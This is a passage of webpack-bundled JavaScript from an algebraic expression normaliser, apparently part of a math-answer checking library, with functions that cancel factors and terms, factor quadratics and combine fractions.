= normalizeSyntax(options, n, ref.args[i]);\n if (!isMinusOne(n)) {\n args.push(n);\n }\n });\n return binaryNode(node.op, args);\n },\n unary: function(node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN && node.args.length === 1 && node.args[0].op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA) {\n ref = ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN && ref.args[0] || ref;\n return normalizeSyntax(options, node.args[0], ref);\n }\n var args = [];\n node.args.forEach(function (n, i) {\n args = args.concat(normalizeSyntax(options, n, ref.args[i]));\n });\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERCENT:\n node = unaryNode(node.op, args); // Percent compares only to other percent forms\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n node = args[0];\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT &&\n // Check the original node.\n checkNumberFormat(ref.args[0], node.args[0])) {\n return normalNumber;\n }\n node = negate(args[0], true);\n break;\n default:\n node = newNode(node.op, args);\n break;\n }\n return node;\n },\n variable: function(node) {\n var id = node.args[0];\n var name;\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n name = checkVariableFormat(ref.args[0], id);\n } else {\n name = id;\n }\n return variableNode(name);\n },\n exponential: function(node) {\n var args = [];\n node.args.forEach(function (n, i) {\n n = normalizeSyntax(options, n, ref.args[i]);\n args.push(n);\n });\n return binaryNode(node.op, args);\n },\n comma: function(node) {\n var vals = [];\n node.args.forEach(function (n, i) {\n vals = vals.concat(normalizeSyntax(options, n, ref.args[i]));\n });\n var node = newNode(node.op, vals);\n return node;\n },\n equals: function(node) {\n var args = [];\n node.args.forEach(function (n, i) {\n n = normalizeSyntax(options, n, ref.args[i]);\n args.push(n);\n });\n return binaryNode(node.op, args);\n }\n }), root.location);\n return node;\n }\n\n function cancelFactors(options, node) {\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n return node;\n }\n var changed = false;\n var numers = {};\n var denoms = {};\n let hasMinusOne = false;\n node.args.forEach(function(n, i) {\n var f;\n var ff = factors(options, n, {}, false, true, true);\n ff.forEach(function (f) {\n var isDenom = f.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && isNeg(options, f.args[1]);\n var k = isDenom && isMinusOne(f.args[1]) && f.args[0] || // Strip exponent.\n isDenom && newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [f.args[0], negate(f.args[1])]) || // Invert exponent.\n f;\n var mv = mathValue(options, k, true);\n if (isOne(mv)) {\n // Skip 1s.\n return;\n }\n if (isMinusOne(f)) {\n hasMinusOne = !hasMinusOne;\n changed = true;\n } else {\n var key = mv !== null ? String(mv) : \"nid$\" + ast.intern(k);\n if (isDenom) {\n if (!denoms[key]) {\n denoms[key] = [];\n }\n denoms[key].push(f);\n } else {\n if (!numers[key]) {\n numers[key] = [];\n }\n numers[key].push(f);\n }\n }\n });\n });\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(!numers[\"1\"] && !denoms[\"1\"], \"2000: Identity multiplication should be factored out by now.\");\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(!numers[\"-1\"] && !denoms[\"-1\"], \"2000: Negative multiplication should be factored out by now.\");\n var nKeys = Object.keys(numers);\n var dKeys = Object.keys(denoms);\n if (nKeys.length === 0 || dKeys.length === 0 ||\n dKeys.length === 1 && dKeys[0] === \"-1\") {\n // One case is a sole synthetic -1 with no other denoms.\n return node;\n }\n // Now do the canceling.\n nKeys.forEach(function (k) {\n var nn = numers[k];\n var dd = denoms[k];\n if (dd) {\n var count = dd.length > nn.length ? nn.length : dd.length;\n numers[k] = k === \"0\" ? nn.slice(0, 1) : nn.slice(count); // Slice off count items.\n denoms[k] = k === \"0\" ? dd.slice(0, 1) : dd.slice(count); // Keep zeros.\n changed = true;\n }\n });\n if (!changed) {\n return node;\n }\n var nargs = [];\n var dargs = [];\n nKeys.forEach(function (k) {\n nargs = nargs.concat(numers[k]); // Save survivors.\n });\n dKeys.forEach(function (k) {\n dargs = dargs.concat(denoms[k]);\n });\n\n if (hasMinusOne) {\n if (dargs.length > 0) {\n dargs.unshift(negate(dargs.shift()));\n } else {\n nargs.unshift(negate(nargs.shift()));\n }\n }\n var n, d;\n if (nargs.length) {\n n = multiplyNode(nargs, true);\n } else {\n n = null;\n }\n if (dargs.length > 0) {\n d = multiplyNode(dargs, true);\n } else {\n d = null;\n }\n if (!n && !d) {\n return nodeOne;\n } else if (!d) {\n return n;\n } else if (!n) {\n return d;\n } else {\n return multiplyNode([n, d], true);\n }\n }\n\n function cancelTerms(node, location) {\n // Cancel like terms of opposite sign.\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n return node;\n }\n var pos = {};\n var neg = {};\n node.args.forEach(function(n, i) {\n var isNegative = false;\n var f;\n if (isNeg(options, constantPart(n))) {\n isNegative = true;\n f = negate(n);\n } else {\n f = n;\n }\n var mv = mathValue(options, f, true);\n var key = mv !== null ? String(mv) : \"nid$\" + ast.intern(f);\n if (isNegative) {\n if (!neg[key]) {\n neg[key] = [];\n }\n neg[key].push(n);\n } else {\n if (!pos[key]) {\n pos[key] = [];\n }\n pos[key].push(n);\n }\n });\n var pKeys = Object.keys(pos);\n var nKeys = Object.keys(neg);\n if (pKeys.length === 0 || nKeys.length === 0 ||\n nKeys.length === 1 && nKeys[0] === \"-1\") {\n // One case is a sole synthetic -1 with not other denoms.\n return node;\n }\n // Now do the canceling.\n var args = [];\n var changed = false;\n pKeys.forEach(function (k) {\n var nn = pos[k];\n var dd = neg[k];\n if (dd) {\n var count = dd.length > nn.length ? nn.length : dd.length;\n pos[k] = nn.slice(count); // Slice off count items.\n neg[k] = dd.slice(count);\n changed = true;\n }\n });\n if (!changed) {\n return node;\n }\n pKeys.forEach(function (k) {\n args = args.concat(pos[k]); // Save survivors.\n });\n nKeys.forEach(function (k) {\n args = args.concat(neg[k]);\n });\n if (args.length) {\n return addNode(args);\n } else {\n return nodeZero;\n }\n }\n\n function cancelEquals(node) {\n // Cancel like constants on both sides of a comparision.\n if (!isComparison(node.op) ||\n node.args.length != 2 ||\n isZero(node.args[0]) ||\n isZero(node.args[1])) {\n return node;\n }\n var lnode = node.args[0];\n var rnode = node.args[1];\n var largs, rargs;\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n largs = lnode.args;\n } else {\n largs = [lnode];\n }\n if (rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n rargs = rnode.args;\n } else {\n rargs = [rnode];\n }\n // We have multiplication on each side.\n var lhs = {};\n var rhs = {};\n largs.forEach(function(n) {\n var mv = mathValue(options, n, true);\n var key = mv !== null ? String(mv) : \"lvars\";\n if (!lhs[key]) {\n lhs[key] = [];\n }\n lhs[key].push(n);\n });\n rargs.forEach(function(n) {\n var mv = mathValue(options, n, true);\n var key = mv !== null ? String(mv) : \"rvars\";\n if (!rhs[key]) {\n rhs[key] = [];\n }\n rhs[key].push(n);\n });\n var lKeys = Object.keys(lhs);\n var rKeys = Object.keys(rhs);\n // Now do the canceling.\n var args = [];\n var changed = false;\n lKeys.forEach(function (k) {\n var ll = lhs[k];\n var rr = rhs[k];\n if (rr) {\n var count = rr.length > ll.length ? ll.length : rr.length;\n lhs[k] = ll.slice(count); // Slice off count items from each set.\n rhs[k] = rr.slice(count);\n changed = true;\n }\n });\n if (!changed) {\n return node;\n }\n var largs = [];\n var rargs = [];\n lKeys.forEach(function (k) {\n largs = largs.concat(lhs[k]); // Save survivors.\n });\n rKeys.forEach(function (k) {\n rargs = rargs.concat(rhs[k]);\n });\n var larg, rarg;\n if (largs.length === 0) {\n larg = nodeOne;\n } else {\n larg = multiplyNode(largs);\n }\n if (rargs.length === 0) {\n rarg = nodeOne;\n } else {\n rarg = multiplyNode(rargs);\n }\n var lmv, rmv;\n if ((lmv = mathValue(options, larg)) && (rmv = mathValue(options, rarg)) &&\n lmv.comparedTo(rmv) === 0) {\n larg = rarg = nodeZero;\n }\n return binaryNode(node.op, [larg, rarg]);\n }\n\n function factorQuadratic(node) {\n var coeffs, vars, roots;\n // If not, check to see if there are any integer solutions to the\n // quadratic equation.\n if ((coeffs = isPolynomial(node)) &&\n coeffs.length === 3 &&\n (vars = variables(node)).length === 1) {\n roots = solveQuadratic(options, coeffs[2], coeffs[1], coeffs[0]);\n if (roots) {\n node = multiplyNode([\n addNode([variableNode(vars[0]), negate(numberNode(options, roots[0]))]),\n addNode([variableNode(vars[0]), negate(numberNode(options, roots[1]))]),\n ]);\n }\n }\n return node;\n }\n function combineLikeFactors(ff) {\n if (!ff || ff.length === 0) {\n return [];\n }\n if (ff.length === 1) {\n return ff;\n }\n var base;\n var expo = bigZero;\n var baseNid = 0;\n ff.forEach(function (f) {\n var b, e;\n if (f.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n b = f.args[0];\n e = mathValue(options, f.args[1], true);\n } else {\n b = f;\n e = bigOne;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(e !== null);\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(baseNid === 0 || ast.intern(b) === baseNid);\n baseNid = ast.intern(b);\n base = b;\n expo = expo.plus(e);\n });\n return [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base, numberNode(options, expo)])];\n }\n function factorCommonExpressions(node) {\n // ff1(e1)+e2+e3+e4, ff1=e1, e1=1\n // ff2(e1+e2)+e3+e4\n // ff3(e1+e2+e3)+e4\n // ff4(e1+e2+e3+e4)\n // Start with e1 being the potential factors. Iterate over each term and\n // put back factors to the previous term that are not in the current term.\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n // FIXME handle the case of more than two args.\n return node;\n }\n var changed = false;\n var nargs = node.args.slice(0);\n var n1 = nargs.shift();\n var nn1 = {};\n var nnf = {};\n var args = n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL ? n1.args : [n1];\n // Get the factors for each term.\n args.forEach(function(n, i) {\n // For integer exponents, use base as key and later reduce\n // exponents.\n var mv = mathValue(options, n, true);\n var key = mv !== null\n ? String(mv)\n : n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n.args[1])\n ? \"nid$\" + ast.intern(n.args[0])\n : \"nid$\" + ast.intern(n);\n if (!nnf[key]) {\n nnf[key] = [];\n }\n nnf[key].push(n);\n });\n nn1[\"1\"] = [nodeOne];\n // Iterate over the remaining terms.\n var ttt = [nn1]; // The list of previous terms.\n var nnn2 = []; // Tail terms\n nargs.forEach(function (n2) {\n var nn2 = {};\n nnn2.push(nn2);\n var args = n2.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL ? n2.args : [n2];\n args.forEach(function(n, i) {\n var mv = mathValue(options, n, true);\n var key = mv !== null\n ? String(mv)\n : n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n.args[1])\n ? \"nid$\" + ast.intern(n.args[0])\n : \"nid$\" + ast.intern(n);\n if (!nn2[key]) {\n nn2[key] = [];\n }\n nn2[key].push(n);\n });\n // Keys represent possible like exprs.\n var n1Keys = Object.keys(nn1);\n var n2Keys = Object.keys(nn2);\n var nfKeys = Object.keys(nnf);\n // Now do the factoring.\n var ff = [];\n // To be a common factor an expr must be in every term, so just pick one\n // and iterate over its factors.\n nfKeys.forEach(function (k) {\n if (nn2[k] && nn2[k].length) {\n // We have a common factor.\n var fff = (nnf[k] = combineLikeFactors(nnf[k]));\n var ff1 = (nn1[k] = combineLikeFactors(nn1[k]));\n var ff2 = (nn2[k] = combineLikeFactors(nn2[k]));\n var fffLength = fff.length;\n var ff2Length = ff2.length;\n while (fffLength-- > 0 && ff2Length-- > 0) {\n // If match is POW and exponent is numeric, then factor number of exponents\n // 2x^4+x^3 => x^3(2x+1)\n var ff = fff.pop();\n var f2 = ff2.pop();\n var ef = ff.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, ff.args[1])\n ? mathValue(options, ff.args[1], true)\n : bigOne;\n var e2 = f2.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, f2.args[1])\n ? mathValue(options, f2.args[1], true)\n : bigOne;\n if (isLessThan(ef, e2)) {\n // The common factor is smaller than the current term so adjust\n // the current term.\n var e = e2.minus(ef);\n var b = ff.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, ff.args[1], true) ? ff.args[0] : ff;\n if (!isZero(e)) {\n // Put back remaining factor.\n ff2.push(isOne(e) ? b : newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, numberNode(options, e)]));\n }\n if (!isZero(ef)) {\n // Save the common part as a factor.\n fff.push(isOne(ef) ? b : newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, numberNode(options, ef)]));\n }\n } else {\n // The common factor is bigger than the current term so make the\n // current term the common factor and adjust the previous terms.\n var e = ef.minus(e2);\n var b = ff.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, ff.args[1], true) ? ff.args[0] : ff;\n if (!isZero(e)) {\n // Put back remaining factor.\n ttt.forEach(function (nf1) {\n var ff1 = nf1[k];\n ff1.push(isOne(e) ? b : newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, numberNode(options, e)]));\n });\n }\n if (!isZero(e2)) {\n // Save the common part as a factor.\n fff.push(isOne(e2) ? b : newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, numberNode(options, e2)]));\n }\n }\n }\n changed = true;\n } else {\n // The common factor doesn't exist in the current term so remove\n // from the common factor and adjust the previous terms.\n var fff = nnf[k];\n while (fff.length > 0) {\n // If match is POW and exponent is numeric, then factor number of exponents\n // 2x^4+x^3 => x^3(2x+1)\n var ff = fff.pop();\n ttt.forEach(function (nf1) {\n var ff1 = nf1[k] || (nn1[k] = []);\n ff1.push(ff);\n });\n }\n changed = true;\n }\n });\n ttt.push(nn2);\n });\n if (!changed) {\n return node;\n }\n var args = [];\n var addArgs = [];\n let hasMinusOne = false;\n Object.keys(nn1).forEach(function (k) {\n nn1[k].forEach(n => {\n if (isMinusOne(n)) {\n hasMinusOne = !hasMinusOne;\n } else {\n args.push(n); // Save survivors.\n }\n });\n });\n if (hasMinusOne) {\n if (args.length === 0) {\n args.push(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift(args)));\n }\n }\n if (args.length === 0) {\n n1 = nodeOne;\n } else if (args.length === 1) {\n n1 = args[0];\n } else {\n n1 = multiplyNode(args, true);\n }\n addArgs.push(n1);\n nnn2.forEach(function (nn2) {\n var args = [];\n var n2;\n let hasMinusOneTerm = false;\n Object.keys(nn2).forEach(function (k) {\n nn2[k].forEach(n => {\n if (isMinusOne(n)) {\n hasMinusOneTerm = !hasMinusOneTerm;\n } else {\n args.push(n); // Save survivors.\n }\n });\n });\n if (hasMinusOneTerm) {\n if (args.length === 0) {\n args.push(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift(args)));\n }\n }\n if (args.length === 0) {\n n2 = nodeOne;\n } else if (args.length === 1) {\n n2 = args[0];\n } else {\n n2 = multiplyNode(args, true);\n }\n addArgs.push(n2);\n });\n var args = [];\n Object.keys(nnf).forEach(function (k) {\n args = args.concat(nnf[k]);\n });\n if (args.length === 0) {\n // No factors so return the original node.\n return node;\n }\n return multiplyNode(args.concat(addNode(addArgs)), true);\n }\n\n function crossMultiply(options, n1, n2) {\n // Get each expr as a single fraction.\n n1 = fractionize(options, together(options, n1));\n n2 = fractionize(options, together(options, n2));\n // Cross multiply.\n const n10n21 = multiplyNode([n1.args[0], n2.args[1]], true);\n const n11n20 = multiplyNode([n1.args[1], n2.args[0]], true);\n n10n21.flags = {\"isAlgebraic\": true};\n n11n20.flags = {\"isAlgebraic\": true};\n return [n10n21, n11n20];\n }\n\n function getFlags(node) {\n const flags = {};\n Object.keys(node).forEach(key => {\n if (key !== 'op' && key !== 'args') {\n flags[key] = node[key];\n }\n });\n return flags;\n }\n\n function setFlags(node, flags) {\n Object.keys(flags).forEach(key => {\n node[key] = flags[key];\n });\n }\n\n function radicalToPower(options, node) {\n const flags = getFlags(node);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SQRT) {\n var base = node.args[0];\n var nthRoot = node.args[1];\n nthRoot.numberFormat = \"integer\";\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base, newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [nodeOne, nthRoot])]);\n }\n var args = [];\n node.args.forEach(function (arg) {\n if (arg.op) {\n arg = radicalToPower(options, arg);\n }\n args.push(arg);\n });\n node = newNode(node.op, args);\n setFlags(node, flags);\n return node;\n }\n\n function together(options, node) {\n // Puts an algebraic expr together by denesting and combining fractional subexpressions.\n node = radicalToPower(options, node);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n var base = node.args[0];\n var expo = node.args[1];\n base = together(options, base);\n expo = together(options, expo);\n // (\\frac{x}{y})^a => \\frac{x^a}{y^a}\n if (base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base.args[0], expo]),\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base.args[1], expo])\n ]);\n }\n if (expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n var numer = expo.args[0];\n var denom = expo.args[1];\n // x^{\\frac{-a}{b}} => x^{-\\frac{a}{b}}\n if (numer.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && numer.args.length === 1) {\n expo = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [numer.args[0], denom])]);\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base, expo]);\n }\n }\n // x^{-a} => \\frac{1}{x^a}\n if (expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && expo.args.length === 1) {\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [\n nodeOne,\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base, expo.args[0]])\n ]);\n }\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n var numer = node.args[0];\n var denom = node.args[1];\n numer = together(options, numer);\n denom = together(options, denom);\n if (denom.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n node = multiplyNode([\n numer,\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [denom.args[1], denom.args[0]])\n ]);\n } else if (numer.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n node = multiplyNode([numer, newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [nodeOne, denom])]);\n }\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n var numers = [];\n var denoms = [];\n node.args.forEach(function (arg) {\n arg = together(options, arg);\n if (arg.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n numers.push(arg.args[0]);\n denoms.push(arg.args[1]);\n } else {\n numers.push(arg);\n }\n });\n if (denoms.length) {\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [multiplyNode(numers), multiplyNode(denoms)]);\n }\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && node.args.length === 2) {\n var minuend = node.args[0];\n var subtrahend = node.args[1];\n minuend = together(options, minuend);\n subtrahend = together(options, subtrahend);\n if (subtrahend.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n node = addNode([\n minuend,\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [subtrahend.args[0]]),\n subtrahend.args[1]\n ])\n ]);\n } else {\n node = addNode([minuend, newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [subtrahend])]);\n }\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && node.args.length ===1) {\n node.args[0] = together(options, node.args[0]);\n if (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n var numer = node.args[0].args[0];\n var denom = node.args[0].args[1];\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [numer]), denom]);\n }\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD && !node.isRepeating) {\n var numers = [];\n var denoms = [];\n var hasFraction;\n node.args.forEach(function (arg) {\n arg = together(options, arg);\n if (arg.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n numers.push(arg.args[0]);\n denoms.push(arg.args[1]);\n hasFraction = true;\n } else {\n numers.push(arg);\n denoms.push(nodeOne);\n }\n });\n if (hasFraction) {\n for (var i = 0; i < numers.length; i++) {\n var commonDenomFactor = denoms.slice(0, i).concat(denoms.slice(i+1, denoms.length+1));\n numers[i] = multiplyNode(commonDenomFactor.concat(numers[i]));\n }\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [addNode(numers), multiplyNode(denoms)]);\n }\n }\n return node;\n }\n\n function fractionize(options, node) {\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [node, nodeOne]);\n }\n return node;\n }\n\n function normalizeMul(node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DIV || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n if (node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n // We have a denom with an exponent, so just invert it.\n var denom = node.args[1];\n var b = denom.args[0];\n var e = denom.args[1];\n node = multiplyNode([node.args[0], newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, negate(e, true)])], true);\n } else {\n node = fractionNode(node.args[0], node.args[1]);\n }\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CDOT || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF) {\n node = multiplyNode(node.args, true);\n }\n return node;\n }\n\n function eraseCommonExpressions(options, n1, n2) {\n // console.log(\"[1] eraseCommonExpressions() n1=\" + JSON.stringify(n1, null, 2));\n // console.log(\"[1] eraseCommonExpressions() n2=\" + JSON.stringify(n2, null, 2));\n n1 = factorCommonExpressions(n1);\n n2 = factorCommonExpressions(n2);\n // console.log(\"[2] eraseCommonExpressions() n1=\" + JSON.stringify(n1, null, 2));\n // console.log(\"[2] eraseCommonExpressions() n2=\" + JSON.stringify(n2, null, 2));\n n1 = cancelFactors(options, n1);\n n2 = cancelFactors(options, n2);\n // console.log(\"[3] eraseCommonExpressions() n1=\" + JSON.stringify(n1, null, 2));\n // console.log(\"[3] eraseCommonExpressions() n2=\" + JSON.stringify(n2, null, 2));\n if (n1.op === n2.op && n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n n1.args.length === 2 && n2.args.length === 2 &&\n ast.intern(n1.args[1]) === ast.intern(n2.args[1]) &&\n mathValue(options, n1.args[1], true) === null) {\n // Have the same non-numeric power so compare base exprs.\n n1 = n1.args[0];\n n2 = n2.args[0];\n }\n if (n1.op !== n2.op ||\n n1.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n return [n1, n2];\n }\n var changed = false;\n var nn1 = {};\n var nn2 = {};\n // console.log(\"[4] eraseCommonExpressions() n1=\" + JSON.stringify(n1, null, 2));\n // console.log(\"[4] eraseCommonExpressions() n2=\" + JSON.stringify(n2, null, 2));\n n1.args.forEach(function(n, i) {\n var mv = mathValue(options, n, true);\n // For numeric exponents, use base as key and later reduce\n // exponents.\n var key = mv !== null\n ? String(mv)\n : n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n.args[1])\n ? \"nid$\" + ast.intern(n.args[0])\n : \"nid$\" + ast.intern(n);\n if (!nn1[key]) {\n nn1[key] = [];\n }\n nn1[key].push(n);\n });\n n2.args.forEach(function(n, i) {\n var mv = mathValue(options, n, true);\n var key = mv !== null\n ? String(mv)\n : n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n.args[1])\n ? \"nid$\" + ast.intern(n.args[0])\n : \"nid$\" + ast.intern(n);\n if (!nn2[key]) {\n nn2[key] = [];\n }\n nn2[key].push(n);\n });\n var nKeys = Object.keys(nn1);\n var dKeys = Object.keys(nn2);\n if (nKeys.length === 0 || dKeys.length === 0 ||\n dKeys.length === 1 && dKeys[0] === \"-1\") {\n // One case is a sole synthetic -1 with not other nn2.\n return [n1, n2];\n }\n // Now do the canceling.\n nKeys.forEach(function (k) {\n if (!isNaN(+k)) {\n // Skip factors.\n return;\n }\n var nn = nn1[k];\n var dd = nn2[k];\n if (dd) {\n // If match is POW then cancel number of exponents\n // x^2x^4, x^3 => x^4, x => x^3, 1\n while (nn.length > 0 && dd.length > 0) {\n var n1 = nn.pop();\n var n2 = dd.pop();\n var e1 = n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n1.args[1])\n ? mathValue(options, n1.args[1], true)\n : bigOne;\n var e2 = n2.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n2.args[1])\n ? mathValue(options, n2.args[1], true)\n : bigOne;\n if (isLessThan(e1, e2)) {\n var e = e2.minus(e1);\n var b = n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n1.args[1], true) ? n1.args[0] : n1;\n dd.push(isOne(e) ? b : newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, numberNode(options, e)]));\n } else {\n var e = e1.minus(e2);\n var b = n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && mathValue(options, n1.args[1], true) ? n1.args[0] : n1;\n if (!isZero(e)) {\n nn.push(isOne(e) ? b : newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, numberNode(options, e)]));\n }\n }\n }\n changed = true;\n }\n });\n if (!changed) {\n return [cancelFactors(options, n1), cancelFactors(options, n2)];\n }\n var args = [];\n let hasMinusOne = false;\n nKeys.forEach(function (k) {\n nn1[k].forEach(n => {\n if (isMinusOne(n)) {\n hasMinusOne = !hasMinusOne;\n } else {\n args.push(n); // Save survivors.\n }\n });\n });\n if (hasMinusOne) {\n if (args.length === 0) {\n args.push(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift(args)));\n }\n }\n if (args.length === 0) {\n n1 = nodeOne;\n } else if (args.length === 1) {\n n1 = args[0];\n } else {\n n1 = newNode(n1.op, args);\n }\n args = [];\n hasMinusOne = false;\n dKeys.forEach(function (k) {\n nn2[k].forEach(n => {\n if (isMinusOne(n)) {\n hasMinusOne = !hasMinusOne;\n } else {\n args.push(n); // Save survivors.\n }\n });\n });\n if (hasMinusOne) {\n if (args.length === 0) {\n args.push(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift(args)));\n }\n }\n if (args.length === 0) {\n n2 = nodeOne;\n } else if (args.length === 1) {\n n2 = args[0];\n } else {\n n2 = newNode(n2.op, args);\n }\n // console.log(\"[5] eraseCommonExpressions() n1=\" + JSON.stringify(n1, null, 2));\n // console.log(\"[5] eraseCommonExpressions() n2=\" + JSON.stringify(n2, null, 2));\n n1 = cancelFactors(options, n1);\n n2 = cancelFactors(options, n2);\n // console.log(\"[6] eraseCommonExpressions() n1=\" + JSON.stringify(n1, null, 2));\n // console.log(\"[6] eraseCommonExpressions() n2=\" + JSON.stringify(n2, null, 2));\n return [n1, n2];\n }\n\n // normalize() replaces subtraction with addition and division with\n // multiplication. It does not perform expansion or simplification so that\n // the basic structure of the expression is preserved. Also, flattens binary\n // trees into N-ary nodes.\n var normalizedNodes = [];\n var 